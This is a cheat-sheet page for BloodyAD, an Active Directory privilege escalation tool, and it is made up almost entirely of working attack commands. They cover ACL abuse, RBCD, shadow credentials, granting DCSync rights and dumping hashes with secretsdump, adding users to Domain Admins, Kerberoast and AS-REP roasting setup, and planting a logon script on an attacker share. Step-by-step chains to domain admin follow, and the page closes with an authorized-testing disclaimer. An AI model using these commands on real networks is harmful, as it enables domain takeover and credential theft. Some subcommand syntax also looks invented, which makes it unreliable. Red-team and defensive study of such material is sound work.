تخطَّ إلى المحتوى

BloodyAD

BloodyAD is a Python-based Active Directory privilege escalation framework that exploits weak AD configurations and permission misconfigurations. It enables attackers to perform ACL abuse, Resource-Based Constrained Delegation (RBCD) attacks, shadow credentials injection, and DACL manipulation via LDAP/LDAPS connections.

git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
pip install -r requirements.txt
pip install bloodyad
  • Python 3.6+
  • ldap3
  • dnfile
  • impacket
bloodyad -u 'DOMAIN\username' -p 'password' -d domain.com -s ldap://10.0.0.100 info
bloodyad -u 'DOMAIN\username' -H 'lm:ntlm_hash' -d domain.com -s ldap://10.0.0.100 info
export KRB5CCNAME=/tmp/ticket.ccache
bloodyad -k -d domain.com -s ldap://10.0.0.100 info
bloodyad -u '' -p '' -d domain.com -s ldap://10.0.0.100 info
Connection TypeCommandUse Case
LDAP (unencrypted)-s ldap://10.0.0.100Internal network, testing
LDAPS (SSL/TLS)-s ldaps://10.0.0.100Encrypted connection
LDAP with StartTLS-s ldap+tls://10.0.0.100Secure upgrade from LDAP
IP/Hostname-s ldap://DC01.domain.comDirect DC targeting
# List domain info
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC info

# Get user details
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC get-object 'cn=target-user,cn=users,dc=domain,dc=com'

# List all users
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC raw 'cn=*' objectClass=user

# Get group membership
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC get-object 'cn=group-name,cn=groups,dc=domain,dc=com'
# List ACLs for object
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC get-acl 'cn=target-user,cn=users,dc=domain,dc=com'

# Find all GenericAll permissions
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC search-acl --permission 'GenericAll'

# Find WriteDACL permissions
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC search-acl --permission 'WriteDACL'
# Reset target user password
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC set-password 'cn=target-user,cn=users,dc=domain,dc=com' 'NewPassword123!'

# Add user to group (if GenericAll on group)
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC add-member 'cn=domain-admins,cn=groups,dc=domain,dc=com' 'cn=attacker-user,cn=users,dc=domain,dc=com'

# Set SPN for Kerberoast
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC set-spn 'cn=target-user,cn=users,dc=domain,dc=com' 'HTTP/server.domain.com'
# Modify scriptPath attribute for RCE on logon
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC set-attr 'cn=target-user,cn=users,dc=domain,dc=com' scriptPath '\\attacker\share\malware.bat'

# Modify mail attribute
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC set-attr 'cn=target-user,cn=users,dc=domain,dc=com' mail 'attacker@domain.com'

# Modify userAccountControl
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC set-attr 'cn=target-user,cn=users,dc=domain,dc=com' userAccountControl 512

Resource-Based Constrained Delegation (RBCD)

Section titled “Resource-Based Constrained Delegation (RBCD)”
# 1. Create computer account (if SeAddWorkstationToMachine)
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC add-computer 'fake-machine' 'password123'

# 2. Set msDS-AllowedToActOnBehalfOfOtherIdentity on target
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC set-rbcd 'cn=target-server,cn=computers,dc=domain,dc=com' 'cn=fake-machine,cn=computers,dc=domain,dc=com'

# 3. Get TGT with computer account
# Use Rubeus or impacket to get TGT

# 4. Request service ticket as admin
# Use impacket getST.py to request ticket as admin
# Find machines with RBCD permissions
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC search-rbcd

# Check msDS-AllowedToActOnBehalfOfOtherIdentity
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC get-object 'cn=target-server,cn=computers,dc=domain,dc=com' | grep msDS-AllowedToActOnBehalfOfOtherIdentity
# Add KeyCredentialLink (Windows Server 2016+)
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC add-key-credential 'cn=target-user,cn=users,dc=domain,dc=com'

# Set shadow credentials with custom expiry
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC add-key-credential 'cn=target-user,cn=users,dc=domain,dc=com' --expire 3650

# Clear shadow credentials
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC delete-key-credential 'cn=target-user,cn=users,dc=domain,dc=com'
# Use Rubeus to request TGT with shadow credential
rubeus.exe asktgt /user:target-user /certificate:cert.pfx /password:cert-password /dc:DC.domain.com /ptt
# Add user to group
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC add-member 'cn=domain-admins,cn=groups,dc=domain,dc=com' 'cn=attacker-user,cn=users,dc=domain,dc=com'

# Remove user from group
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC remove-member 'cn=domain-admins,cn=groups,dc=domain,dc=com' 'cn=attacker-user,cn=users,dc=domain,dc=com'

# Add machine account to group
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC add-member 'cn=group-name,cn=groups,dc=domain,dc=com' 'cn=fake-machine$,cn=computers,dc=domain,dc=com'
# Set HTTP SPN for Kerberoast
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC set-spn 'cn=target-user,cn=users,dc=domain,dc=com' 'HTTP/server.domain.com'

# Set MSSql SPN
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC set-spn 'cn=target-user,cn=users,dc=domain,dc=com' 'MSSql/db-server.domain.com:1433'

# Add multiple SPNs
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC set-spn 'cn=target-user,cn=users,dc=domain,dc=com' 'HTTP/server1.domain.com' 'HTTP/server2.domain.com'

# Remove SPN
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC delete-spn 'cn=target-user,cn=users,dc=domain,dc=com' 'HTTP/server.domain.com'
# Add DS-Replication-Get-Changes permission
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC add-dcsync-right 'cn=attacker-user,cn=users,dc=domain,dc=com'

# Verify DCSync rights
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC get-acl 'dc=domain,dc=com' | grep 'DS-Replication-Get-Changes'
# Use impacket secretsdump with DCSync rights
secretsdump.py -dc-ip 10.0.0.100 'DOMAIN/attacker-user:password@domain.com'
# Reset user password
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC set-password 'cn=target-user,cn=users,dc=domain,dc=com' 'NewPassword123!'

# Change password without knowing old password (with LDAPS)
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldaps://DC set-password 'cn=target-user,cn=users,dc=domain,dc=com' 'NewPassword123!'
# Set weak password on domain user
bloodyad -u 'DOMAIN\admin' -p 'pass' -d domain.com -s ldaps://DC set-password 'cn=target-user,cn=users,dc=domain,dc=com' '123'

# Note: LDAPS required for this to work reliably
# Disable account
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC set-attr 'cn=target-user,cn=users,dc=domain,dc=com' userAccountControl 514

# Enable account
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC set-attr 'cn=target-user,cn=users,dc=domain,dc=com' userAccountControl 512

# Disable password expiration
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC set-attr 'cn=target-user,cn=users,dc=domain,dc=com' userAccountControl 66048

# Enable pre-auth disabled (for AS-REP roasting)
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC set-attr 'cn=target-user,cn=users,dc=domain,dc=com' userAccountControl 4194304
# Enumerate all permissions
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC search-acl

# Find dangerous permissions
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC search-acl --permission 'GenericAll' --permission 'GenericWrite' --permission 'WriteDACL'

# Find permissions for specific user
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC search-acl --trustee 'DOMAIN\attacker-user'
# Create new computer account
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC add-computer 'fake-machine' 'ComputerPassword123!'

# Verify computer was added
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC get-object 'cn=fake-machine,cn=computers,dc=domain,dc=com'
# 1. Enumerate ACLs to find a compromised user with WriteDACL
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC search-acl --permission 'WriteDACL'

# 2. Grant DCSync rights to compromised user
bloodyad -u 'DOMAIN\compromise-user' -p 'pass' -d domain.com -s ldap://DC add-dcsync-right 'cn=compromise-user,cn=users,dc=domain,dc=com'

# 3. Execute DCSync attack
secretsdump.py -dc-ip 10.0.0.100 'DOMAIN/compromise-user:password@domain.com'
# 1. Find user with GenericAll on DA group
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC search-acl --permission 'GenericAll'

# 2. Add compromised user to DA group
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC add-member 'cn=domain-admins,cn=groups,dc=domain,dc=com' 'cn=compromised-user,cn=users,dc=domain,dc=com'

# 3. Access as domain admin
# Use psexec.py or other tools with DA credentials
# 1. Find user with GenericWrite on target
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC search-acl --permission 'GenericWrite'

# 2. Add shadow credentials
bloodyad -u 'DOMAIN\user' -p 'pass' -d domain.com -s ldap://DC add-key-credential 'cn=target-user,cn=users,dc=domain,dc=com'

# 3. Request TGT with shadow credential
# Use Rubeus asktgt with returned certificate
# After shadow credentials injection, use Rubeus to request TGT
rubeus.exe asktgt /user:target-user /certificate:cert.pfx /password:password /dc:DC.domain.com /ptt
# Use credentials obtained to run impacket tools
secretsdump.py -dc-ip 10.0.0.100 'DOMAIN/user:password@domain.com'
psexec.py 'DOMAIN/user:password@target-server'
wmiexec.py 'DOMAIN/user:password@target-server'
# Use BloodyAD to modify attributes, then verify with PowerView
Get-DomainUser -Identity target-user | Select-Object name, userAccountControl
IssueSolution
”Connection refused”Verify DC IP/hostname and firewall allows port 389 (LDAP) or 636 (LDAPS)
“Invalid credentials”Verify username format (DOMAIN\user) and password; try with full DN
”Insufficient access rights”Verify user has required permissions; consider compromising higher-privilege account
”Object not found”Check DN syntax; use get-object with wildcard to find correct path
”StartTLS unsupported”Use LDAPS or plain LDAP; not all DCs support StartTLS
”TLS version error”Try LDAP instead of LDAPS; adjust SSL/TLS version if needed

BloodyAD is designed for authorized security testing and red team exercises. Always:

  • Obtain written authorization before testing
  • Use only in controlled lab or authorized environments
  • Document all changes for rollback
  • Follow responsible disclosure practices
  • Comply with all applicable laws and regulations